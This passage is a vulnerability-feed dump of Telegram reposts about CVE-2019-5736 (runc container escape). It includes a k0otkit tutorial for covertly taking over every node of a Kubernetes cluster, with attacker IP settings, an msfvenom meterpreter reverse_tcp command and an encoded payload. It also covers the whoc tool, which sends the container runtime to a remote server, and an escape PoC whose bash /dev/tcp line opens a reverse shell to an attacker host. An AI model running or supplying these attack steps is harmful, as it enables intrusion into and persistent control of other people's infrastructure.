"published-proof-of-concept", "source": "https://t.me/hacking_Attack/61385", "content": "Kali Linux Tutorials\nK0Otkit : Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters\n\nk0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.\n\nWith k0otkit, you can manipulate all the nodes in the target Kubernetes cluster in a rapid, covert and continuous way (reverse shell).\n\nk0otkit is the combination of Kubernetes\u00a0and rootkit.\n\nPrerequisite:\n\nk0otkit is a post-penetration tool, so you have to firstly conquer a cluster, somehow manage to escape from the container and get the root privilege of the master node (to be exact, you should get the admin privilege of the target Kubernetes).\n\nScenario:\n\n* After Web penetration, you get a shell of the target.\n* If necessary, you manage to escalate the privilege and make it.\n* You find the target environment is a container (Pod) in a Kubernetes cluster.\n* You manage to escape from the container and make it (with CVE-2016-5195, CVE-2019-5736, docker.sock or other techniques).\n* You get a root shell of the master node and are able to instruct the cluster with kubectlon the master node as admin.\n* Now you want to control all the nodes in the cluster as quickly as possible. Here comes k0otkit!\n\nk0otkit is detailed in k0otkit: Hack K8s in a K8s Way. UsageMake sure you have got the root shell on the master node of the target Kubernetes. (You can also utilize k0otkit if you have the admin privilege of the target Kubernetes, though you might need to modify the kubectlcommand in k0otkit_template.shto use the token or certification.)\n\nMake sure you have installed Metasploit on your attacker host (msfvenom\u00a0and msfconsoleshould be available).\n\nDeploy k0otkit\n\nClone this repository:\n\ngit clone https://github.com/brant-ruan/k0otkit\ncd k0otkit/\nchmod +x ./*.sh\n\nReplace the attacker\u2019s IP and port in pre_exp.shwith your own IP and port:\n\nATTACKER_IP=192.168.1.107\nATTACKER_PORT=4444\n\nGenerate k0otkit\n\n./pre_exp.sh k0otkit.shwill be generated. Then run the reverse shell handler:\n\n./handle_multi_reverse_shell.sh\n\nOnce the handler is ready, copy the content of k0otkit.shand paste it into your shell on the master node of the target Kubernetes, then press to execute it.\n\nWait a moment and enjoy reverse shells from all nodes https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png \n\nP.S. It is not limited how many Kubernetes clusters you manipulate with k0otkit.\n\nInteract with Shells\n\nAfter the successful deployment of k0otkit, you can interact with any reverse shell as you want: Features* utilize K8s resources and features (hack K8s in a K8s way)\n* dynamic container injection\n* communication encryption (thanks to Meterpreter)\n* fileless ExampleGenerate k0otkit:\n\nkali@kali:~/k0otkit$ ./pre_exp.sh\n\n* ATTACKER_IP=192.168.1.107\n* ATTACKER_PORT=4444\n* TEMP_MRT=mrt\n* msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt\n++ xxd -p mrt\n++ tr -d \u2018\\n\u2019\n++ base64 -w 0\n* PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw\n* sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTA[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T15:00:06.490822Z"}, {"uuid": "a98a6952-f9c0-4511-9ed7-249d2b6ef23d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/61385", "content": "Kali Linux Tutorials\nK0Otkit : Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters\n\nk0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.\n\nWith k0otkit, you can manipulate all the nodes in the target Kubernetes cluster in a rapid, covert and continuous way (reverse shell).\n\nk0otkit is the combination of Kubernetes\u00a0and rootkit.\n\nPrerequisite:\n\nk0otkit is a post-penetration tool, so you have to firstly conquer a cluster, somehow manage to escape from the container and get the root privilege of the master node (to be exact, you should get the admin privilege of the target Kubernetes).\n\nScenario:\n\n* After Web penetration, you get a shell of the target.\n* If necessary, you manage to escalate the privilege and make it.\n* You find the target environment is a container (Pod) in a Kubernetes cluster.\n* You manage to escape from the container and make it (with CVE-2016-5195, CVE-2019-5736, docker.sock or other techniques).\n* You get a root shell of the master node and are able to instruct the cluster with kubectlon the master node as admin.\n* Now you want to control all the nodes in the cluster as quickly as possible. Here comes k0otkit!\n\nk0otkit is detailed in k0otkit: Hack K8s in a K8s Way. UsageMake sure you have got the root shell on the master node of the target Kubernetes. (You can also utilize k0otkit if you have the admin privilege of the target Kubernetes, though you might need to modify the kubectlcommand in k0otkit_template.shto use the token or certification.)\n\nMake sure you have installed Metasploit on your attacker host (msfvenom\u00a0and msfconsoleshould be available).\n\nDeploy k0otkit\n\nClone this repository:\n\ngit clone https://github.com/brant-ruan/k0otkit\ncd k0otkit/\nchmod +x ./*.sh\n\nReplace the attacker\u2019s IP and port in pre_exp.shwith your own IP and port:\n\nATTACKER_IP=192.168.1.107\nATTACKER_PORT=4444\n\nGenerate k0otkit\n\n./pre_exp.sh k0otkit.shwill be generated. Then run the reverse shell handler:\n\n./handle_multi_reverse_shell.sh\n\nOnce the handler is ready, copy the content of k0otkit.shand paste it into your shell on the master node of the target Kubernetes, then press to execute it.\n\nWait a moment and enjoy reverse shells from all nodes https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png \n\nP.S. It is not limited how many Kubernetes clusters you manipulate with k0otkit.\n\nInteract with Shells\n\nAfter the successful deployment of k0otkit, you can interact with any reverse shell as you want: Features* utilize K8s resources and features (hack K8s in a K8s way)\n* dynamic container injection\n* communication encryption (thanks to Meterpreter)\n* fileless ExampleGenerate k0otkit:\n\nkali@kali:~/k0otkit$ ./pre_exp.sh\n\n* ATTACKER_IP=192.168.1.107\n* ATTACKER_PORT=4444\n* TEMP_MRT=mrt\n* msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt\n++ xxd -p mrt\n++ tr -d \u2018\\n\u2019\n++ base64 -w 0\n* PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw\n* sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTA[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T00:00:43.767751Z"}, {"uuid": "94593acb-90bd-4fc8-9a76-e6d59a73115a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "Telegram/alHvvUHQCUylk35MGsdpMYRa6PMrggYEgIO1T_H-uyhMM7U", "content": "", "creation_timestamp": "2026-09-06T00:01:03.333062Z"}, {"uuid": "62d9530a-fd1a-4fc2-a543-d7de67a6a7da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/39302", "content": "Kali Linux Tutorials\nWhoc : A Container Image That Extracts The Underlying Container Runtime\n\nWhoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\n* WhoC at Defcon 29 Cloud Village\n* Azurescape\u00a0\u2013 whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?\n\nAs shown by runc\u00a0CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they\u2019re running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic Mode\n\nThis is whocdefault mode that works against dynamically linked container runtimes.\n\n* The whocimage entrypoint is set to /proc/self/exe, and the image\u2019s dynamic linker (ld.so) is replaced with upload_runtime.\n* Once the image is run, the container runtime re-executes itself inside the container.\n* Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.\n* upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjocHBrqL-1DeWdgr84G9KTBwDuhOUH7iRkxmcMXWsXQnjtpQlcRlxf25x_Xv96NyR2T3Bd9jzEQBjtNFLfqZKx1FwIjPPzTasqAwRcH0_J60IuHDX9nGeMR_v9yUdB7BghvzW5znr5b3PjSrDk-KZ9DEuFMWend1XtmXY4oyh11Mfgtoc-YgLbHCYN=s571 \nWait-For-Exec Mode\n\nFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n* upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n* The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).\n* Once the exec occurs, the container runtime re-executes itself inside the container.\n* upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjYUPEISvlrTOOIHWJ2ekop9nHLKToBwpf54UfVgSVe-QYm7Fj6wmq1Ms7EqHTr0Ii86_41fgPuwX59E2lcVgVUXUVo2PbVwAPFS4oy-mts1mfmuUURo3c8VgHmgmW2ijLhyoVkkwH0Z3AEREI_zx5YKSeTWNUytVlP7xmSLU7pie5C8gNV3pxFZr92=s571 \nTry Locally\n\nYou\u2019ll need dockerand python3installed. Clone the repository:\n\n$ git clone git@github.com:twistlock/whoc.git\n\nSet up a file server to receive the extracted container runtime:\n\n$ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver\n$ ./fileserver\n\nFrom another shell, run the whocimage in your container environment of choice, for example Docker:\n\n$ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh\n$ docker run \u2013rm -it \u2013net=host whoc:latest 127.0.0.1 # or ./util/run_local.sh\n\nSee that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be\u00a0runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. Other Platforms\n\nBy default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.\n\nAn example build script for arm64is available at util/build_arm64.sh[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-06T13:00:05.626943Z"}, {"uuid": "c3e5663f-f7cb-42f1-97ef-875436799ab5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/39302", "content": "Kali Linux Tutorials\nWhoc : A Container Image That Extracts The Underlying Container Runtime\n\nWhoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\n* WhoC at Defcon 29 Cloud Village\n* Azurescape\u00a0\u2013 whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?\n\nAs shown by runc\u00a0CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they\u2019re running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic Mode\n\nThis is whocdefault mode that works against dynamically linked container runtimes.\n\n* The whocimage entrypoint is set to /proc/self/exe, and the image\u2019s dynamic linker (ld.so) is replaced with upload_runtime.\n* Once the image is run, the container runtime re-executes itself inside the container.\n* Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.\n* upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjocHBrqL-1DeWdgr84G9KTBwDuhOUH7iRkxmcMXWsXQnjtpQlcRlxf25x_Xv96NyR2T3Bd9jzEQBjtNFLfqZKx1FwIjPPzTasqAwRcH0_J60IuHDX9nGeMR_v9yUdB7BghvzW5znr5b3PjSrDk-KZ9DEuFMWend1XtmXY4oyh11Mfgtoc-YgLbHCYN=s571 \nWait-For-Exec Mode\n\nFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n* upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n* The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).\n* Once the exec occurs, the container runtime re-executes itself inside the container.\n* upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjYUPEISvlrTOOIHWJ2ekop9nHLKToBwpf54UfVgSVe-QYm7Fj6wmq1Ms7EqHTr0Ii86_41fgPuwX59E2lcVgVUXUVo2PbVwAPFS4oy-mts1mfmuUURo3c8VgHmgmW2ijLhyoVkkwH0Z3AEREI_zx5YKSeTWNUytVlP7xmSLU7pie5C8gNV3pxFZr92=s571 \nTry Locally\n\nYou\u2019ll need dockerand python3installed. Clone the repository:\n\n$ git clone git@github.com:twistlock/whoc.git\n\nSet up a file server to receive the extracted container runtime:\n\n$ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver\n$ ./fileserver\n\nFrom another shell, run the whocimage in your container environment of choice, for example Docker:\n\n$ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh\n$ docker run \u2013rm -it \u2013net=host whoc:latest 127.0.0.1 # or ./util/run_local.sh\n\nSee that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be\u00a0runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. Other Platforms\n\nBy default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.\n\nAn example build script for arm64is available at util/build_arm64.sh[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:14.712028Z"}, {"uuid": "8c70d5ff-5559-408f-8fa7-4b78b9889c24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/32544", "content": "A container (https://www.kitploit.com/search/label/Container) image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!WhoC at Defcon 29 Cloud Village (https://www.youtube.com/watch?v=DF0qoCsHKT4)Azurescape (https://unit42.paloaltonetworks.com/azure-container-instances/) - whoc-powered research, the first cross-account container takeover (https://www.kitploit.com/search/label/Takeover) in the public cloud (70,000$ bounty)\nHow does it work?\nAs shown by runc CVE-2019-5736 (https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/), traditional Linux container runtimes expose themselves to the containers (https://www.kitploit.com/search/label/Containers) they're running through /proc/self/exe. whoc uses this link to read the container runtime executing it.\nDynamic Mode\nThis is whoc default mode that works against dynamically linked container runtimes.The whoc image entrypoint is set to /proc/self/exe, and the image's dynamic (https://www.kitploit.com/search/label/Dynamic) linker (ld.so) is replaced with fake_ld.Once the image is run, the container runtime re-executes itself inside the container.Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.fake_ld obtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.upload_runtime reads the runtime binary from /proc/self/fd/ and sends it to the configured remote server.\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T03:00:42.993170Z"}, {"uuid": "dd6b9eac-f1b1-422d-a074-285f85375095", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/32537", "content": "Whoc - A Container Image That Extracts The Underlying Container Runtime\n\nA container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!WhoC at Defcon 29 Cloud VillageAzurescape - whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty)How does it work?As shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they're running through /proc/self/exe. whoc uses this link to read the container runtime executing it.Dynamic ModeThis is whoc default mode that works against dynamically linked container runtimes.The whoc image entrypoint is set to /proc/self/exe, and the image's dynamic linker (ld.so) is replaced with fake_ld.Once the image is run, the container runtime re-executes itself inside the container.Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.fake_ld obtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.upload_runtime reads the runtime binary from /proc/self/fd/ and sends it to the configured remote server.Wait-For-Exec ModeFor statically linked container runtimes, whoc comes in another flavor: whoc:waitforexec.upload_runtime is the image entrypoint, and runs as the whoc container PID 1.The user is expected to exec into the whoc container and invoke a file pointing to /proc/self/exe (e.g. docker exec whoc-ctr /proc/self/exe)Once the exec occurs, the container runtime re-executes itself inside the containerupload_runtime reads the runtime binary through /proc//exe and sends it to the configured remote serverTry LocallyYou'll need docker and python3 installed. Clone the repository:$ git clone git@github.com:twistlock/whoc.gitSet up a file server to receive the extracted container runtime:$ cd whoc$ mkdir -p stash && cd stash$ ln -s ../util/fileserver.py fileserver $ ./fileserverFrom another shell, run the whoc image in your container environment of choice, for example Docker:$ cd whoc$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh$ docker run --rm -it --net=host whoc:latest 127.0.0.1 # or ./util/run_local.shSee that the file server received the container runtime. Since we run whoc under vanilla Docker, the received container runtime should be runc.--net=host is only used in local tests so that the whoc container could easily reach the fileserver on the host via 127.0.0.1.HelpHelp for whoc's main binary, upload_runtime:Usage: upload_runtime options Options: -p, --port Port of remote server, defaults to 8080 -e, --exec Wait-for-exec mode for static container runtimes, waits until an exec to the container occurred -b, --exec-bin In exec mode, overrides the default binary created for the exec, default is /bin/enter -a, --exec-extra-argument In exec mode, pass an additional argument to the runtime so it won't exit quickly -r, --exec-readdir-proc In exec mode, instead of guessing the runtime pid (which gives whoc one shot of catching the runtime), find the runtime by searching for new processes under '/proc'Download Whoc\nRead more...\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T03:00:43.046433Z"}, {"uuid": "467adeb9-86dc-427d-aa22-a75a07ac339b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/34046", "content": "Kali Linux Tutorials\nWhoc : A Container Image That Extracts The Underlying Container Runtime\n\nWhoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\nHow does it work?\n\nAs shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they\u2019re running through /proc/self/exe. whocuses this link to read the container runtime executing it.\n\nDynamic Mode\n\nThis is whocdefault mode that works against dynamically linked container runtimes.\n\n1. The whocimage entrypoint is set to /proc/self/exe, and the image\u2019s dynamic linker (ld.so) is replaced with upload_runtime.\n2. Once the image is run, the container runtime re-executes itself inside the container.\n3. Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.\n4. upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEhoOtXTTgwAILo7_iVmwKDHiYFqUbdTTAaLwtkxF_o1uEl7cVjxgpPyycB1hmrcJSoO90Y4AtQLloD-nlpUfcurdePCzt5E-Za6ZryJW_LfFnAViUjIOVrhRxo0ggi0HDzk8rx5xJ3puaZ94h7wElqjr0Ei2xDYrIVBlfjrUN-g425lpMXY4pY5DD3d=s728 \nWait-For-Exec Mode\n\nFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n1. upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n2. The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).\n3. Once the exec occurs, the container runtime re-executes itself inside the container.\n4. upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi3a_UpD_rXLfW9moPrDkZzlJOXXYrKnldu3IW_BpKgXSHTWzA2Efb8KtZx97cwQ8GasivuxnMs5vrYUYOgK8WE_FQ6ErQp_5t0Ykff-b2qMNl9Kzsn2j2dm3K2AoNGm_CS-EF4Q6NPJ5086YaoPXUJJtVZM9pLx43xRy04KhKoCiR92O8Y03DJUyFI=s571 \nTry Locally\n\nYou\u2019ll need dockerand python3installed. Clone the repository:\n$ git clone git@github.com:twistlock/whoc.git \nSet up a file server to receive the extracted container runtime:\n$ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver \n$ ./fileserver \nFrom another shell, run the whocimage in your container environment of choice, for example Docker:\n$ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src  # or ./util/build.sh\n$ docker run --rm -it --net=host whoc:latest 127.0.0.1  # or ./util/run_local.sh \nSee that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1.\n\nOther Platforms\n\nBy default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.\n\nAn example build script for arm64is available at util/build_arm64.sh.\n\nHelp\n\nHelp for whoc\u2018s main binary, upload_runtime:\nUsage: upload_runtime [options] ___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T03:00:53.412120Z"}, {"uuid": "8703ff63-ad33-4a73-8483-50965c289e3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/32550", "content": "KitPloit - PenTest Tools!\nWhoc - A Container Image That Extracts The Underlying Container Runtime\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEi_95e_qg5fMsbP6treVFuqoow00IkE5tY4k2v5rsmgUjnDB1ca-bidnn2ZtSOCXuYiZ9cUbI7VZ04PibinnHx0rHSvAZbNVZKfc7BUJ814hdlYdazoGq5kcijHfXEySNffebbB1_wbu5wzuX_AmycCum_3VhhEtw1pRAS4lwLZumzqgUCJt0kHrev2Ew=w640-h360 A container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!\n\n* WhoC at Defcon 29 Cloud Village\n* Azurescape - whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?As shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they're running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic ModeThis is whocdefault mode that works against dynamically linked container runtimes.\n\n1. The whocimage entrypoint is set to /proc/self/exe, and the image's dynamic linker (ld.so) is replaced with fake_ld.\n2. Once the image is run, the container runtime re-executes itself inside the container.\n3. Given the runtime is dynamically linked, the kernel loads our fake dynamic linker to the runtime process and passes execution to it.\n4. fake_ldobtains a file descriptor for the runtime binary by opening /proc/self/exe, and executes upload_runtime.\n5. upload_runtimereads the runtime binary from /proc/self/fd/and sends it to the configured remote server. https://blogger.googleusercontent.com/img/a/AVvXsEi_95e_qg5fMsbP6treVFuqoow00IkE5tY4k2v5rsmgUjnDB1ca-bidnn2ZtSOCXuYiZ9cUbI7VZ04PibinnHx0rHSvAZbNVZKfc7BUJ814hdlYdazoGq5kcijHfXEySNffebbB1_wbu5wzuX_AmycCum_3VhhEtw1pRAS4lwLZumzqgUCJt0kHrev2Ew=w640-h360 Wait-For-Exec ModeFor statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.\n\n1. upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.\n2. The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc-ctr /proc/self/exe)\n3. Once the exec occurs, the container runtime re-executes itself inside the container\n4. upload_runtimereads the runtime binary through /proc/and sends it to the configured remote server https://blogger.googleusercontent.com/img/a/AVvXsEhbfCLFL3NwU1sTB4vduEhYxUm-_xbrXLOUlsfrgj0TSnTdcpcBZIDprF7te-xGhkLaYz1t7nttgwg-pZ2wCIzjawRmgpRK7-qwpL95QTsOooSZIgvX68UQb1pJVjNiqvhN_QstbYC0Z99gVA4ECkzjQ0pXXm-hhAb6xXqUUU5MhAJAU5fMs5d07rbu_Q=w640-h372 Try LocallyYou'll need dockerand python3installed. Clone the repository: $ git clone git@github.com:twistlock/whoc.gitSet up a file server to receive the extracted container runtime: $ cd whoc\n$ mkdir -p stash && cd stash\n$ ln -s ../util/fileserver.py fileserver \n$ ./fileserverFrom another shell, run the whocimage in your container environment of choice, for example Docker: $ cd whoc\n$ docker build -f Dockerfile_dynamic -t whoc:latest src  # or ./util/build.sh\n$ docker run --rm -it --net=host whoc:latest 127.0.0.1  # or ./util/run_local.shSee that the file server received the container runtime. Since we run whocunder vanilla Docker, the received container runtime should be runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. HelpHelp[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T04:00:04.237666Z"}, {"uuid": "2cf98ec5-90c3-47fc-a0fa-6b75bd54ad8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/27882", "content": "cape vulnerability. The POC of the same can be found here. This exploit would let us overwrite and execute the host systems binary from within the container.git clone https://github.com/Frichetten/CVE-2019-5736-PoCHere, we\u2019ll modify the variable \u201cpayload\u201d with this bash one linerbash -i >& /dev/tcp/10.10.14.100/9999 0>&1And then we save thisgo build main.gohttps://blogger.googleusercontent.com/img/a/AVvXsEgW9TMQ9K5qnFrYZYaX6Lv99IdU-xEo8RkOZ2cI2v2bkM0TVlAdC19kVBoYLitevE-XVRbnhViBVsD6UsTg7MsiS2gqZ4ogqKYgkKbOy2CcKcEeFxBUckmXgSsaNOwc6MRtiY_6E70a_GfLzoZyZAD3HBlL8niHC7Y57l0UuM2CnV1SllU_T04v_Wdw6A=s16000 In the machine, we first jumped into the container using docker exec command.sudo /usr/bin/docker exec -it webapp-dev01 /bin/bashAfter that we\u2019ll copy the exploit in /tmp and execute itcd 